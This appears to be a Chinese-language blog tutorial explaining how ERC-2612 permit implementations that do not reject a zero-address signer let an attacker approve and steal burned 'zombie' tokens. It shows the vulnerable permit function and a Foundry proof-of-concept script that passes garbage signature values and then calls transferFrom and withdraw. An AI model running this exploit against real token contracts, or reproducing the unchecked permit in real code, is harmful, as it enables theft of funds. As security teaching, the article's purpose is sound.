不标准的 ERC2612 导致可利用 permit 滥用零地址的“僵尸资金”
在 ERC-2612 中,有提到这么一点:
由于
ecrecover
预编译在接收到格式错误的消息时会默默失败,并返回零地址作为签名者,因此必须确保owner != address(0)
,以避免批准使用属于零地址的“僵尸资金”。
在 ERC20 合约中,有一个很重要的点:当我们销毁(burn
) ERC20 Token 时,实际上是通过向零地址转账的方式来实现销毁代币的。正常来说,由于零地址没有私钥,在合约预设函数以及权限控制的情况下,这部分资金只能通过协议来处理,其他用户无法利用这部分资金。但是,如果这个 ERC20 token 实现了 ERC2612,并没有使用 OpenZeppelin 等合约安全库,可能会出现如下的问题。
让我们来看下面这段代码:
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
external
{
require(block.timestamp <= deadline, "signature expired");
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
bytes32 h = _hashTypedDataV4(structHash);
address signer = ecrecover(h, v, r, s);
require(signer == owner, "invalid signer");
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
这是一个 ERC20 合约(实现了 ERC-2612),其中的 permit
函数,初步来看并没有任何问题,但是回到我们最开始提到的,ERC-2612 中提到的问题:
ecrecover
预编译在接收到格式错误的消息时会默默失败,并返回零地址作为签名者,因此必须确保owner != address(0)
,以避免批准使用属于零地址的“僵尸资金”。
我们先简单里了解一下 ecrecover
:
ecrecover
是 EVM 预编译的(EVM precompile ecrecover)。预编译只是指已编译的智能合约的通用功能,因此以太坊节点可以有效地运行它。从合约的角度来看,这只是一个像操作码一样的指令。
但是存在一些安全问题:
ecrecover
针对无效签名返回返回 0
地址,在使用 ecrecover
后,需要添加检测:owner != 0
,以避免 approve
授权使用属于零地址的“僵尸资金”s
值的右半段,这样大于n/2
的s
值会变成非法值。所以我们可以进行限制,只允许大于或小于n/2
的s
值的签名是有效的让我们把刚刚 ERC-2612 中的那句话展开:
如果我们构造一个无效的签名,在·ecrecover
还原签名地址时,他会得到零地址,换个说法,我们能够实现address(0) => approve(spender, value)
这样,我们可以利用 transferFrom
调用我们原不能使用的“僵尸资金”。
来看一段 Poc:
contract Attack is Script {
function run() external {
vm.startBroadcast();
Setup setup = Setup(0xA04c620d7Dd01d8F3C428C852640597fc43bfc83);
Coin coin = Coin(payable(0xDc75492Cda82b67cBff388eD94f6505c104A70c1));
// setup.register();
coin.permit(
address(0),
0xaBc5E4485e7d718A2d85080A66b20b00e85626c2,
15 ether,
block.timestamp,
32,
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9,
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9
);
coin.transferFrom(address(0), 0xaBc5E4485e7d718A2d85080A66b20b00e85626c2, 15 ether);
coin.withdraw(15 ether);
vm.stopBroadcast();
}
}
上面代码中,我们调用Coin:permit(address(0), attackAccount, value, timestamp, v, r, s)
,其中的 v, r, s
是我随便弄的一串无任何意义的但满足类型要求的数据,回看 Coin:permit
函数的逻辑:他并没有检测还原出的owner 满足owner!= address(0)
,这就导致我们间接的获得了转移所有用户 burn
掉的 Token 的权限。
这是十分危险的,不过完全可以避免,使用 OpenZeppelin 等经过审计的库合约可以解决很多这样原本无需担忧的问题。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!